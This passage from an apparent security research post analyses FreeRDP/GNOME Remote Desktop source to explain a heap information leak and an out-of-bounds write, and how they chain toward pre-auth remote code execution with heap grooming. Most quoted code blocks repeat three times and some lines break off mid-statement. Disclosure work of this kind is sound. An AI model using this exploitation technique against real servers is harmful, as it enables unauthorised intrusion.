// channels/rdpgfx/server/rdpgfx_main.c
WINPR_ATTR_NODISCARD static UINT
rdpgfx_send_reset_graphics_pdu(RdpgfxServerContext* context, const RDPGFX_RESET_GRAPHICS_PDU* pdu)
{
	const size_t RDPGFX_RESET_GRAPHICS_PDU_SIZE = 340;

	if (!checkCapsAreExchanged(context))
		return CHANNEL_RC_NOT_INITIALIZED;

	WINPR_ASSERT(pdu);
	WINPR_ASSERT(context->priv);

	/* Check monitorCount. This ensures total size within 340 bytes) */
[1]	if (pdu->monitorCount >= 16)
	{
		WLog_Print(context->priv->log, WLOG_ERROR,
		           "Monitor count MUST be less than or equal to 16: %" PRIu32 "",
		           pdu->monitorCount);
		return ERROR_INVALID_DATA;
	}

[2]	wStream* s =
	    rdpgfx_server_single_packet_new(context->priv->log, RDPGFX_CMDID_RESETGRAPHICS,
	                                    RDPGFX_RESET_GRAPHICS_PDU_SIZE - RDPGFX_HEADER_SIZE);

// SNIP

[3]	Stream_Write_UINT32(s, pdu->width);        /* width (4 bytes) */
	Stream_Write_UINT32(s, pdu->height);       /* height (4 bytes) */
	Stream_Write_UINT32(s, pdu->monitorCount); /* monitorCount (4 bytes) */

[4]	for (UINT32 index = 0; index < pdu->monitorCount; index++)
	{
		const MONITOR_DEF* monitor = &(pdu->monitorDefArray[index]);
		Stream_Write_INT32(s, monitor->left);   /* left (4 bytes) */
		Stream_Write_INT32(s, monitor->top);    /* top (4 bytes) */
		Stream_Write_INT32(s, monitor->right);  /* right (4 bytes) */
		Stream_Write_INT32(s, monitor->bottom); /* bottom (4 bytes) */
		Stream_Write_UINT32(s, monitor->flags); /* flags (4 bytes) */
	}

	/* pad (total size must be 340 bytes) */
[5]	const size_t pos = Stream_GetPosition(s);
[6]	if (pos > RDPGFX_RESET_GRAPHICS_PDU_SIZE)
	{
		Stream_Free(s, TRUE);
		return ERROR_INVALID_DATA;
	}
[7]	if (!Stream_SafeSeek(s, RDPGFX_RESET_GRAPHICS_PDU_SIZE - pos))
	{
		Stream_Free(s, TRUE);
		return ERROR_INVALID_DATA;
	}
[8]	return rdpgfx_server_single_packet_send(context, s

// channels/rdpgfx/server/rdpgfx_main.c
WINPR_ATTR_NODISCARD static UINT
rdpgfx_send_reset_graphics_pdu(RdpgfxServerContext* context, const RDPGFX_RESET_GRAPHICS_PDU* pdu)
{
	const size_t RDPGFX_RESET_GRAPHICS_PDU_SIZE = 340;

	if (!checkCapsAreExchanged(context))
		return CHANNEL_RC_NOT_INITIALIZED;

	WINPR_ASSERT(pdu);
	WINPR_ASSERT(context->priv);

	/* Check monitorCount. This ensures total size within 340 bytes) */
[1]	if (pdu->monitorCount >= 16)
	{
		WLog_Print(context->priv->log, WLOG_ERROR,
		           "Monitor count MUST be less than or equal to 16: %" PRIu32 "",
		           pdu->monitorCount);
		return ERROR_INVALID_DATA;
	}

[2]	wStream* s =
	    rdpgfx_server_single_packet_new(context->priv->log, RDPGFX_CMDID_RESETGRAPHICS,
	                                    RDPGFX_RESET_GRAPHICS_PDU_SIZE - RDPGFX_HEADER_SIZE);

// SNIP

[3]	Stream_Write_UINT32(s, pdu->width);        /* width (4 bytes) */
	Stream_Write_UINT32(s, pdu->height);       /* height (4 bytes) */
	Stream_Write_UINT32(s, pdu->monitorCount); /* monitorCount (4 bytes) */

[4]	for (UINT32 index = 0; index < pdu->monitorCount; index++)
	{
		const MONITOR_DEF* monitor = &(pdu->monitorDefArray[index]);
		Stream_Write_INT32(s, monitor->left);   /* left (4 bytes) */
		Stream_Write_INT32(s, monitor->top);    /* top (4 bytes) */
		Stream_Write_INT32(s, monitor->right);  /* right (4 bytes) */
		Stream_Write_INT32(s, monitor->bottom); /* bottom (4 bytes) */
		Stream_Write_UINT32(s, monitor->flags); /* flags (4 bytes) */
	}

	/* pad (total size must be 340 bytes) */
[5]	const size_t pos = Stream_GetPosition(s);
[6]	if (pos > RDPGFX_RESET_GRAPHICS_PDU_SIZE)
	{
		Stream_Free(s, TRUE);
		return ERROR_INVALID_DATA;
	}
[7]	if (!Stream_SafeSeek(s, RDPGFX_RESET_GRAPHICS_PDU_SIZE - pos))
	{
		Stream_Free(s, TRUE);
		return ERROR_INVALID_DATA;
	}
[8]	return rdpgfx_server_single_packet_send(context, s

// channels/rdpgfx/server/rdpgfx_main.c
WINPR_ATTR_NODISCARD static UINT
rdpgfx_send_reset_graphics_pdu(RdpgfxServerContext* context, const RDPGFX_RESET_GRAPHICS_PDU* pdu)
{
	const size_t RDPGFX_RESET_GRAPHICS_PDU_SIZE = 340;

	if (!checkCapsAreExchanged(context))
		return CHANNEL_RC_NOT_INITIALIZED;

	WINPR_ASSERT(pdu);
	WINPR_ASSERT(context->priv);

	/* Check monitorCount. This ensures total size within 340 bytes) */
[1]	if (pdu->monitorCount >= 16)
	{
		WLog_Print(context->priv->log, WLOG_ERROR,
		           "Monitor count MUST be less than or equal to 16: %" PRIu32 "",
		           pdu->monitorCount);
		return ERROR_INVALID_DATA;
	}

[2]	wStream* s =
	    rdpgfx_server_single_packet_new(context->priv->log, RDPGFX_CMDID_RESETGRAPHICS,
	                                    RDPGFX_RESET_GRAPHICS_PDU_SIZE - RDPGFX_HEADER_SIZE);

// SNIP

[3]	Stream_Write_UINT32(s, pdu->width);        /* width (4 bytes) */
	Stream_Write_UINT32(s, pdu->height);       /* height (4 bytes) */
	Stream_Write_UINT32(s, pdu->monitorCount); /* monitorCount (4 bytes) */

[4]	for (UINT32 index = 0; index < pdu->monitorCount; index++)
	{
		const MONITOR_DEF* monitor = &(pdu->monitorDefArray[index]);
		Stream_Write_INT32(s, monitor->left);   /* left (4 bytes) */
		Stream_Write_INT32(s, monitor->top);    /* top (4 bytes) */
		Stream_Write_INT32(s, monitor->right);  /* right (4 bytes) */
		Stream_Write_INT32(s, monitor->bottom); /* bottom (4 bytes) */
		Stream_Write_UINT32(s, monitor->flags); /* flags (4 bytes) */
	}

	/* pad (total size must be 340 bytes) */
[5]	const size_t pos = Stream_GetPosition(s);
[6]	if (pos > RDPGFX_RESET_GRAPHICS_PDU_SIZE)
	{
		Stream_Free(s, TRUE);
		return ERROR_INVALID_DATA;
	}
[7]	if (!Stream_SafeSeek(s, RDPGFX_RESET_GRAPHICS_PDU_SIZE - pos))
	{
		Stream_Free(s, TRUE);
		return ERROR_INVALID_DATA;
	}
[8]	return rdpgfx_server_single_packet_send(context, s

FreeRDP serialises the GRD supplied pdu into a wStream object [2]. This is a simple stream object that contains a backing buffer, with a cursor pointer. Each write using the Stream_Write_*() API [3] [4] advances the pointer accordingly.

The utility function Stream_GetPosition(s) [5] returns pointer's offset into buffer (i.e. how many bytes have been written into the stream). This same utility function is used to determine the written / wire length of the PDU further down the stack.

Notably, the PDU, as defined in the specs, must be 340 bytes. However, how much of that is actually used varies depending on the number of display monitors (monitorCount) [1]. So, after the data GRD supplied has been parsed, there are two sanity checks on the amount written:

  • It makes sure no more than 340 bytes have been written [6]

  • If less than 340 bytes have been written (i.e. there were fewer than 16 monitors being reset), then Stream_SafeSeek() [7] advances the stream's cursor to the end of its buffer , so the sending code interprets it as a 340 byte stream [8].

The issue here is that the wStream's backing buffer is not zeroed on allocation:

// channels/rdpgfx/server/rdpgfx_main.c
static wStream* rdpgfx_server_single_packet_new(wLog* log, UINT16 cmdId, size_t dataLen)
{
	UINT error = 0;
	const size_t pduLength = rdpgfx_pdu_length(dataLen);
	wStream* s = Stream_New(nullptr, pduLength);
// SNIP

// winpr/libwinpr/utils/stream.c
wStream* Stream_New(BYTE* buffer, size_t size)
{
	wStream* s = nullptr;

	if (!buffer && !size)
		return nullptr;

	s = calloc(1, sizeof(wStream));
	if (!s)
		return nullptr;

	if (buffer)
		s->buffer = buffer;
	else
[1]		s->buffer = (BYTE*)malloc(size);
// SNIP
// channels/rdpgfx/server/rdpgfx_main.c
static wStream* rdpgfx_server_single_packet_new(wLog* log, UINT16 cmdId, size_t dataLen)
{
	UINT error = 0;
	const size_t pduLength = rdpgfx_pdu_length(dataLen);
	wStream* s = Stream_New(nullptr, pduLength);
// SNIP

// winpr/libwinpr/utils/stream.c
wStream* Stream_New(BYTE* buffer, size_t size)
{
	wStream* s = nullptr;

	if (!buffer && !size)
		return nullptr;

	s = calloc(1, sizeof(wStream));
	if (!s)
		return nullptr;

	if (buffer)
		s->buffer = buffer;
	else
[1]		s->buffer = (BYTE*)malloc(size);
// SNIP
// channels/rdpgfx/server/rdpgfx_main.c
static wStream* rdpgfx_server_single_packet_new(wLog* log, UINT16 cmdId, size_t dataLen)
{
	UINT error = 0;
	const size_t pduLength = rdpgfx_pdu_length(dataLen);
	wStream* s = Stream_New(nullptr, pduLength);
// SNIP

// winpr/libwinpr/utils/stream.c
wStream* Stream_New(BYTE* buffer, size_t size)
{
	wStream* s = nullptr;

	if (!buffer && !size)
		return nullptr;

	s = calloc(1, sizeof(wStream));
	if (!s)
		return nullptr;

	if (buffer)
		s->buffer = buffer;
	else
[1]		s->buffer = (BYTE*)malloc(size);
// SNIP

Neither does the Stream_SafeSeek() do any zeroing. So, to summarise:

  • wStream->buffer is not zero-initialised [1], so contains stale heap data.

  • The entire 340 byte buffer is treated as the ResetGraphics PDU, but not all of those stale bytes will be overwritten.

    • More specifically: There are 20 bytes of prefix data (RDPGFX header, width, height and monitorCount) then 20 additional bytes are written for each monitor count. So, the maximum possible leaked bytes is 340 - 20 - 20 = 300.

    • The highest monitorCount can be is 15, meaning 20 stale bytes would still returned.

  • This PDU is then sent directly to the client (us!), who's able to read the leaked heap data.

What To Leak

Without going too off-piste in this ever-growing post, let's quickly touch on how we use this in the RCE chain. Our RDP session exposes a number of ways to interact with the handover daemon's heap (which is where our leak is coming from).

By sending carefully constructed messages, we can cause the daemon to allocate & free chunks of the same size as our leaking object, such that when our leaking object is allocated it reuses the stale memory of the objects we caused to be allocated.

One such object is struct GHashTable (from GLib, GNOME's utility library) which contains some interesting fields, including two GLib function pointers (g_uint_hash, g_uint_equal) which can be used to derive the base address of GLib.

Using this approach we're also able to leak the addresses of other objects in the heap, which contain attacker controlled bytes.

Bug 3: The Write

SVCs vs DVCs

Earlier, when I explained what RDP channels are, I conveniently left out the difference between static virtual channels (SVCs) and dynamic virtual channels (DVCs). However, it's become relevant to our third bug so let's quickly cover it.

SVCs came first and are simpler: they're opaque byte streams negotiated once, at connection time. DVCs can open and close throughout the session and all communicate over a single SVC, called drdynvc.

As drdynvc carries interleaved traffic for all open dynamic channels, the PDUs and where they're headed need to be resolved at this level. However, as SVCs have a 1:1 relationship between the transport channel and rdp channel, FreeRDP can route these opaque bytes directly to the consumer or can handle the reassembly itself.

This choice is defined as CHANNEL_OPTION_SHOW_PROTOCOL: SVCs opened with this flag are responsible for handling their own data reassembly.

In this version of FreeRDP two server-side channels have this set: RDPDR & ClipRDR. For reasons I will explain later, ClipRDR is out of the race, so onto RDPDR!

RDPDR

RDPDR is an SVC used for device and file redirection, and as mentioned above, is opened server-side in FreeRDP with the CHANNEL_OPTION_SHOW_PROTOCOL flag.

Let's now take a journey and follow how our client's RDPDR PDUs arrive. Upon arrival, according to the MS spec, our Virtual Channel PDU should look something like this:

  TPKT header            4 bytes    version | reserved | length (UINT16)
  X.224 Data TPDU        3 bytes    LI=2 | code=0xF0 (DT) | EOT
  MCS SendDataRequest    variable   initiator, channelId, priority, payload length
  [security header]

  TPKT header            4 bytes    version | reserved | length (UINT16)
  X.224 Data TPDU        3 bytes    LI=2 | code=0xF0 (DT) | EOT
  MCS SendDataRequest    variable   initiator, channelId, priority, payload length
  [security header]

  TPKT header            4 bytes    version | reserved | length (UINT16)
  X.224 Data TPDU        3 bytes    LI=2 | code=0xF0 (DT) | EOT
  MCS SendDataRequest    variable   initiator, channelId, priority, payload length
  [security header]

Notably, the channel data can be fragmented, with each TPKT containing a chunk to be reassembled. In this case, each chunk still gets a CHANNEL_PDU_HEADER, whose length refers to the length of the assembled data, not the specific chunk. The flags are then used to bound the first CHANNEL_FLAG_FIRST and last CHANNEL_FLAG_LAST chunks.

Per the spec, default chunks are limited to CHANNEL_CHUNK_LENGTH = 1600 bytes unless the maximum virtual channel chunk size is specified in the optional VCChunkSize. This is important, as we'll see, and can be controlled from the client-side.

On a hunch, let's assume our totally-benign-client bumps this value up to 1608.

Now, back to the code! After stripping away the other headers and processing the CHANNEL_PDU_HEADER (see arg comments), we end up in WTSProcessChannelData():

// libfreerdp/core/server.c
static BOOL WTSProcessChannelData(
	rdpPeerChannel* channel, // rdpPeerChannel* for rdpdr
	UINT16 channelId, // channelId for rdpdr
	const BYTE* data, // pointer to chunk payload
	size_t s,  // chunk length (derived from literal no. bytes left in buffer)
	           // as mentioned, our client configured this to be <= 1608 bytes
	UINT32 flags, // CHANNEL_PDU_HEADER.flags
	size_t t // CHANNEL_PDU_HEADER.length
)
{
	BOOL ret = TRUE;
	const size_t size = s;
	const size_t totalSize = t;

	// SNIP

[1]	if (channel->channelFlags & CHANNEL_OPTION_SHOW_PROTOCOL)
	{
		const CHANNEL_PDU_HEADER header = {
[2]			.length = WINPR_ASSERTING_INT_CAST(UINT32, size),
			.flags = flags,
		};

		return wts_queue_receive_data(channel, (const BYTE*)&header, sizeof(header), data,
		                              header.length

// libfreerdp/core/server.c
static BOOL WTSProcessChannelData(
	rdpPeerChannel* channel, // rdpPeerChannel* for rdpdr
	UINT16 channelId, // channelId for rdpdr
	const BYTE* data, // pointer to chunk payload
	size_t s,  // chunk length (derived from literal no. bytes left in buffer)
	           // as mentioned, our client configured this to be <= 1608 bytes
	UINT32 flags, // CHANNEL_PDU_HEADER.flags
	size_t t // CHANNEL_PDU_HEADER.length
)
{
	BOOL ret = TRUE;
	const size_t size = s;
	const size_t totalSize = t;

	// SNIP

[1]	if (channel->channelFlags & CHANNEL_OPTION_SHOW_PROTOCOL)
	{
		const CHANNEL_PDU_HEADER header = {
[2]			.length = WINPR_ASSERTING_INT_CAST(UINT32, size),
			.flags = flags,
		};

		return wts_queue_receive_data(channel, (const BYTE*)&header, sizeof(header), data,
		                              header.length

// libfreerdp/core/server.c
static BOOL WTSProcessChannelData(
	rdpPeerChannel* channel, // rdpPeerChannel* for rdpdr
	UINT16 channelId, // channelId for rdpdr
	const BYTE* data, // pointer to chunk payload
	size_t s,  // chunk length (derived from literal no. bytes left in buffer)
	           // as mentioned, our client configured this to be <= 1608 bytes
	UINT32 flags, // CHANNEL_PDU_HEADER.flags
	size_t t // CHANNEL_PDU_HEADER.length
)
{
	BOOL ret = TRUE;
	const size_t size = s;
	const size_t totalSize = t;

	// SNIP

[1]	if (channel->channelFlags & CHANNEL_OPTION_SHOW_PROTOCOL)
	{
		const CHANNEL_PDU_HEADER header = {
[2]			.length = WINPR_ASSERTING_INT_CAST(UINT32, size),
			.flags = flags,
		};

		return wts_queue_receive_data(channel, (const BYTE*)&header, sizeof(header), data,
		                              header.length

For channels configured with CHANNEL_OPTION_SHOW_PROTOCOL [1], as we alluded to earlier, FreeRDP queues this chunk to be handled by the channel consumer itself. Per the spec, this flag requires the CHANNEL_PDU_HEADER to be visible to the consumer.

As data originally came from a byte stream (the same wStream from earlier), and now points to the chunk payload, WTSProcessChannelData() recreates the header. Notably, the length now uses size [2], which is the chunk size, not the total assembled size (totalSize) that our channel PDU's length originally contained when we sent it.

The header and data are moved into a single malloc() allocation [1] before being queued [3] by wts_queue_receive_data():

static BOOL wts_queue_receive_data(rdpPeerChannel* channel, const BYTE* Buffer1, UINT32 Length1,
                                   const BYTE* Buffer2, UINT32 Length2)
{
	// SNIP
[1]	wtsChannelMessage* messageCtx =
	    (wtsChannelMessage*)malloc(sizeof(wtsChannelMessage) + Length1 + Length2);
	// SNIP
[2]	messageCtx->length = Length1 + Length2; // sizeof(header) + sizeof(chunk) = 8 + 1608 = 1616
	messageCtx->offset = 0;
	// SNIP
[3]	return MessageQueue_Post(channel->queue, messageCtx, 0, nullptr, nullptr

static BOOL wts_queue_receive_data(rdpPeerChannel* channel, const BYTE* Buffer1, UINT32 Length1,
                                   const BYTE* Buffer2, UINT32 Length2)
{
	// SNIP
[1]	wtsChannelMessage* messageCtx =
	    (wtsChannelMessage*)malloc(sizeof(wtsChannelMessage) + Length1 + Length2);
	// SNIP
[2]	messageCtx->length = Length1 + Length2; // sizeof(header) + sizeof(chunk) = 8 + 1608 = 1616
	messageCtx->offset = 0;
	// SNIP
[3]	return MessageQueue_Post(channel->queue, messageCtx, 0, nullptr, nullptr

static BOOL wts_queue_receive_data(rdpPeerChannel* channel, const BYTE* Buffer1, UINT32 Length1,
                                   const BYTE* Buffer2, UINT32 Length2)
{
	// SNIP
[1]	wtsChannelMessage* messageCtx =
	    (wtsChannelMessage*)malloc(sizeof(wtsChannelMessage) + Length1 + Length2);
	// SNIP
[2]	messageCtx->length = Length1 + Length2; // sizeof(header) + sizeof(chunk) = 8 + 1608 = 1616
	messageCtx->offset = 0;
	// SNIP
[3]	return MessageQueue_Post(channel->queue, messageCtx, 0, nullptr, nullptr

The queue now holds a 1616 byte message [2]: the 8-byte header that WTSProcessChannelData() prefixed and our 1608 bytes of chunk data (which we control).

The RDPDR channel's thread maintains a tracker for handling the reassembly of its PDUs:

// winpr/include/winpr/wtsapi.h
typedef struct tagCHANNEL_PDU_HEADER
{
	UINT32 length;
	UINT32 flags;
} CHANNEL_PDU_HEADER, *PCHANNEL_PDU_HEADER;

#define CHANNEL_CHUNK_LENGTH 1600
#define CHANNEL_PDU_LENGTH (CHANNEL_CHUNK_LENGTH + sizeof(CHANNEL_PDU_HEADER))

// libfreerdp/utils/channel_pdu_tracker.c
struct ChannelPduTracker
{
	HANDLE vc;
	wStream* currentPacket; // final packet being assembled
[1]	char buffer[CHANNEL_PDU_LENGTH]; // current chunk, copied into 1608 byte buf
	size_t offset; // offset into current buffer; how much of the chunk's copied
	wLog* log

// winpr/include/winpr/wtsapi.h
typedef struct tagCHANNEL_PDU_HEADER
{
	UINT32 length;
	UINT32 flags;
} CHANNEL_PDU_HEADER, *PCHANNEL_PDU_HEADER;

#define CHANNEL_CHUNK_LENGTH 1600
#define CHANNEL_PDU_LENGTH (CHANNEL_CHUNK_LENGTH + sizeof(CHANNEL_PDU_HEADER))

// libfreerdp/utils/channel_pdu_tracker.c
struct ChannelPduTracker
{
	HANDLE vc;
	wStream* currentPacket; // final packet being assembled
[1]	char buffer[CHANNEL_PDU_LENGTH]; // current chunk, copied into 1608 byte buf
	size_t offset; // offset into current buffer; how much of the chunk's copied
	wLog* log

// winpr/include/winpr/wtsapi.h
typedef struct tagCHANNEL_PDU_HEADER
{
	UINT32 length;
	UINT32 flags;
} CHANNEL_PDU_HEADER, *PCHANNEL_PDU_HEADER;

#define CHANNEL_CHUNK_LENGTH 1600
#define CHANNEL_PDU_LENGTH (CHANNEL_CHUNK_LENGTH + sizeof(CHANNEL_PDU_HEADER))

// libfreerdp/utils/channel_pdu_tracker.c
struct ChannelPduTracker
{
	HANDLE vc;
	wStream* currentPacket; // final packet being assembled
[1]	char buffer[CHANNEL_PDU_LENGTH]; // current chunk, copied into 1608 byte buf
	size_t offset; // offset into current buffer; how much of the chunk's copied
	wLog* log

Looking at the size of that buffer [1], some of you might be getting some ideas. The tracker is used by ChannelPduTracker_poll(), which is called when a channel event occurs, such as our 1616 byte message from earlier getting queued. Let's see what it does:

// libfreerdp/utils/channel_pdu_tracker.c
wStream* ChannelPduTracker_poll(ChannelPduTracker* tracker, BOOL* ok)
{
	WINPR_ASSERT(tracker);
	WINPR_ASSERT(ok);

	ULONG sz = 0;
	*ok = FALSE;

	WINPR_ASSERT(tracker->offset <= CHANNEL_PDU_LENGTH);
[1]	const ULONG readSz = WINPR_ASSERTING_INT_CAST(ULONG, CHANNEL_PDU_LENGTH - tracker->offset);
[2]	if (!WTSVirtualChannelRead(tracker->vc, INFINITE, &tracker->buffer[tracker->offset], readSz,
	                           &sz))
		return nullptr;

[3]	tracker->offset += sz;
	WINPR_ASSERT(tracker->offset <= CHANNEL_PDU_LENGTH);

	const size_t recvSz = tracker->offset;
[4]	if (recvSz < sizeof(CHANNEL_PDU_HEADER))
	{
		*ok = TRUE;
		return nullptr;
	}

	const CHANNEL_PDU_HEADER* header = (const CHANNEL_PDU_HEADER*)tracker->buffer;
[5]	if (header->length > CHANNEL_CHUNK_LENGTH)
	{
		WLog_Print(tracker->log, WLOG_ERROR, "chunk size %" PRIu32 " is too big", header->length);
		return nullptr

// libfreerdp/utils/channel_pdu_tracker.c
wStream* ChannelPduTracker_poll(ChannelPduTracker* tracker, BOOL* ok)
{
	WINPR_ASSERT(tracker);
	WINPR_ASSERT(ok);

	ULONG sz = 0;
	*ok = FALSE;

	WINPR_ASSERT(tracker->offset <= CHANNEL_PDU_LENGTH);
[1]	const ULONG readSz = WINPR_ASSERTING_INT_CAST(ULONG, CHANNEL_PDU_LENGTH - tracker->offset);
[2]	if (!WTSVirtualChannelRead(tracker->vc, INFINITE, &tracker->buffer[tracker->offset], readSz,
	                           &sz))
		return nullptr;

[3]	tracker->offset += sz;
	WINPR_ASSERT(tracker->offset <= CHANNEL_PDU_LENGTH);

	const size_t recvSz = tracker->offset;
[4]	if (recvSz < sizeof(CHANNEL_PDU_HEADER))
	{
		*ok = TRUE;
		return nullptr;
	}

	const CHANNEL_PDU_HEADER* header = (const CHANNEL_PDU_HEADER*)tracker->buffer;
[5]	if (header->length > CHANNEL_CHUNK_LENGTH)
	{
		WLog_Print(tracker->log, WLOG_ERROR, "chunk size %" PRIu32 " is too big", header->length);
		return nullptr

// libfreerdp/utils/channel_pdu_tracker.c
wStream* ChannelPduTracker_poll(ChannelPduTracker* tracker, BOOL* ok)
{
	WINPR_ASSERT(tracker);
	WINPR_ASSERT(ok);

	ULONG sz = 0;
	*ok = FALSE;

	WINPR_ASSERT(tracker->offset <= CHANNEL_PDU_LENGTH);
[1]	const ULONG readSz = WINPR_ASSERTING_INT_CAST(ULONG, CHANNEL_PDU_LENGTH - tracker->offset);
[2]	if (!WTSVirtualChannelRead(tracker->vc, INFINITE, &tracker->buffer[tracker->offset], readSz,
	                           &sz))
		return nullptr;

[3]	tracker->offset += sz;
	WINPR_ASSERT(tracker->offset <= CHANNEL_PDU_LENGTH);

	const size_t recvSz = tracker->offset;
[4]	if (recvSz < sizeof(CHANNEL_PDU_HEADER))
	{
		*ok = TRUE;
		return nullptr;
	}

	const CHANNEL_PDU_HEADER* header = (const CHANNEL_PDU_HEADER*)tracker->buffer;
[5]	if (header->length > CHANNEL_CHUNK_LENGTH)
	{
		WLog_Print(tracker->log, WLOG_ERROR, "chunk size %" PRIu32 " is too big", header->length);
		return nullptr

As this is the first chunk in our RDPDR PDU being sent (and received), the ChannelPduTrack's offset = 0 and buffer hasn't been used yet.WTSVirtualChannelRead() [2] is then used to copy readSz (= CHANNEL_PDU_LENGTH - 0 = 1608) [1] bytes of our queued message into the tracker->buffer. The tracker->offset is then incremented [3] by the number of bytes actually copied (1608 bytes as our queued message was 1616). So far so good.

The poll then makes sure there's at least enough bytes to contain a header [4]; there is. After that, it checks the channel header->length (which was synthesised earlier, from the size of our chunk, 1608) isn't larger than CHANNEL_CHUNK_LENGTH = 1600 [5]. Uh-oh! Ours is...

In this case the poll rejects the bad message but forgets to clean up two things:

  • The tracker->offset is still 1608 at this point

  • Our message has not been dequeued as there's still 8 bytes left to read from it

Because the message is still in the queue, the channel event stays signalled, so the poll is called a second time, with the tracker and queue state out of sync:

  • This time round, the readSz = 1608 - 1608 = 0 [1]. Well, it just so happens that when WTSVirtualChannelRead() [2] is asked to copy zero bytes, instead of writing the amount of bytes copied to &sz, it writes the amount of bytes remaining. In this case, it's 8!

  • With no way to distinguish bytes written vs read in this context, tracker->offset += 8 = 1608 + 8 = 1616 [3]; at this point it points past tracker->buffer!

  • We then continue on and fail at the same check as the first poll [5], rejecting our message without resetting the offset or draining queue.

As our message has STILL not been dequeued, the poll is called a 3rd time: now readSz = 1608 - 1616 = SIZE_MAX - 7 = 0xFFFFFFF8 (truncated) [1] (yikes) AKA a big number. Fortunately, the reader is only going to read as many bytes as are left in our message: 8.

But... it's writing our bytes into &tracker->buffer[tracker->offset] [2] which now points 8 bytes past the end of buffer, straight into &tracker->log:

struct ChannelPduTracker
{
	// SNIP
	char buffer[CHANNEL_PDU_LENGTH]; // CHANNEL_PDU_LENGTH == 1608
	size_t offset; // offset is currently 1616!
	wLog* log

struct ChannelPduTracker
{
	// SNIP
	char buffer[CHANNEL_PDU_LENGTH]; // CHANNEL_PDU_LENGTH == 1608
	size_t offset; // offset is currently 1616!
	wLog* log

struct ChannelPduTracker
{
	// SNIP
	char buffer[CHANNEL_PDU_LENGTH]; // CHANNEL_PDU_LENGTH == 1608
	size_t offset; // offset is currently 1616!
	wLog* log

After the out-of-bounds write occurs, the poll hits the same check as the first run [5] and rejects the message. But not before it prints a log, using our corrupted tracker->log:

	if (header->length > CHANNEL_CHUNK_LENGTH)
	{
		WLog_Print(tracker->log, WLOG_ERROR, "chunk size %" PRIu32 " is too big", header->length);
		return nullptr

	if (header->length > CHANNEL_CHUNK_LENGTH)
	{
		WLog_Print(tracker->log, WLOG_ERROR, "chunk size %" PRIu32 " is too big", header->length);
		return nullptr

	if (header->length > CHANNEL_CHUNK_LENGTH)
	{
		WLog_Print(tracker->log, WLOG_ERROR, "chunk size %" PRIu32 " is too big", header->length);
		return nullptr

Suffice to say, this call does some stuff with our now-controllable pointer. To find out how we actually used this primitive to gain RCE, stay tuned for the next part!

Just kidding, we'll cover that in the next section "Gaining RCE".

But Wait, The Assert!

Some eagle eyed readers might have noticed that there are two highly relevant asserts in ChannelPduTracker_poll(), on either side of channel queue read:

	WINPR_ASSERT(tracker->offset <= CHANNEL_PDU_LENGTH
	WINPR_ASSERT(tracker->offset <= CHANNEL_PDU_LENGTH
	WINPR_ASSERT(tracker->offset <= CHANNEL_PDU_LENGTH

This catches exactly the issue this out-of-bounds write explores, leading to a crash. Whether or not this is enabled depends on two flags: WITH_VERBOSE_WINPR_ASSERT=OFF and NDEBUG.

With the above values, the asserts are compiled out. This varies downstream. Both Debian and Fedora ship both of these, making the out-of-bounds write reachable.

What About ClipRDR?

I realised while reviewing this post I totally forgot to explain why RDPDR was our only route for exploiting this vulnerability in GRD!

This is because, although ClipRDR is another static virtual channel opened server-side with CHANNEL_OPTION_SHOW_PROTOCOL, when the ChannelPduTracker_poll fails (e.g. rejecting our message during the header length check), returning !s && !ok, ClipRDR's thread handler actually catches this and exits [1], so the poll is never called again with the desync'd state:

// channels/cliprdr/server/cliprdr_main.c
static UINT cliprdr_server_read(CliprdrServerContext* context)
{
	WINPR_ASSERT(context);

	CliprdrServerPrivate* cliprdr = (CliprdrServerPrivate*)context->handle;
	WINPR_ASSERT(cliprdr);

	BOOL ok = FALSE;
	wStream* s = ChannelPduTracker_poll(cliprdr->channelPduTracker, &ok);

[1]	if (!ok)
		return ERROR_INVALID_DATA;

	if (!s)
		return CHANNEL_RC_OK

// channels/cliprdr/server/cliprdr_main.c
static UINT cliprdr_server_read(CliprdrServerContext* context)
{
	WINPR_ASSERT(context);

	CliprdrServerPrivate* cliprdr = (CliprdrServerPrivate*)context->handle;
	WINPR_ASSERT(cliprdr);

	BOOL ok = FALSE;
	wStream* s = ChannelPduTracker_poll(cliprdr->channelPduTracker, &ok);

[1]	if (!ok)
		return ERROR_INVALID_DATA;

	if (!s)
		return CHANNEL_RC_OK

// channels/cliprdr/server/cliprdr_main.c
static UINT cliprdr_server_read(CliprdrServerContext* context)
{
	WINPR_ASSERT(context);

	CliprdrServerPrivate* cliprdr = (CliprdrServerPrivate*)context->handle;
	WINPR_ASSERT(cliprdr);

	BOOL ok = FALSE;
	wStream* s = ChannelPduTracker_poll(cliprdr->channelPduTracker, &ok);

[1]	if (!ok)
		return ERROR_INVALID_DATA;

	if (!s)
		return CHANNEL_RC_OK

Meanwhile, compare this the RDPDR code which keeps the thread alive and polling [1] [2]:

// channels/rdpdr/server/rdpdr_main.c 
static DWORD WINAPI rdpdr_server_thread(LPVOID arg)
{
	// SNIP
[1]	while (1)
	{
		DWORD status = WaitForMultipleObjects(2, events, FALSE, INFINITE);

		switch (status)
		{
			// SNIP
				s = ChannelPduTracker_poll(tracker, &ok);
				if (!s && ok)
					continue;
				if (!s)
[2]					break; // exits the switch only
				// SNIP

// channels/rdpdr/server/rdpdr_main.c 
static DWORD WINAPI rdpdr_server_thread(LPVOID arg)
{
	// SNIP
[1]	while (1)
	{
		DWORD status = WaitForMultipleObjects(2, events, FALSE, INFINITE);

		switch (status)
		{
			// SNIP
				s = ChannelPduTracker_poll(tracker, &ok);
				if (!s && ok)
					continue;
				if (!s)
[2]					break; // exits the switch only
				// SNIP

// channels/rdpdr/server/rdpdr_main.c 
static DWORD WINAPI rdpdr_server_thread(LPVOID arg)
{
	// SNIP
[1]	while (1)
	{
		DWORD status = WaitForMultipleObjects(2, events, FALSE, INFINITE);

		switch (status)
		{
			// SNIP
				s = ChannelPduTracker_poll(tracker, &ok);
				if (!s && ok)
					continue;
				if (!s)
[2]					break; // exits the switch only
				// SNIP

Gaining RCE

We're finally getting to the culmination of our 5,000 words of background! Before we talk about how the 3 bugs were chained to get a remote pre-auth shell, let me do a quick recap for anyone who skipped ahead (or had to take a break before continuing):

  • Bug 1 (GHSA-x7v6-xfx3-52j6) allows us to bypass the server-wide remote login authentication used by Gnome Remote Desktop, allowing us to connect to an RDP session with the handover daemon, which runs as a throwaway gdm-greeter-N user. However, this just lands us at a login screen, where normally we'd need to authenticate as a local user. What it does do, is allow us to reach the next two bugs, which require that RDP session.

  • Bug 2 (GHSA-r7jx-j9h7-j4xj) allows us to leak up to 300 bytes of heap memory. With some careful heap fengshui, using our RDP session, we can retrieve heap and GLib pointers.

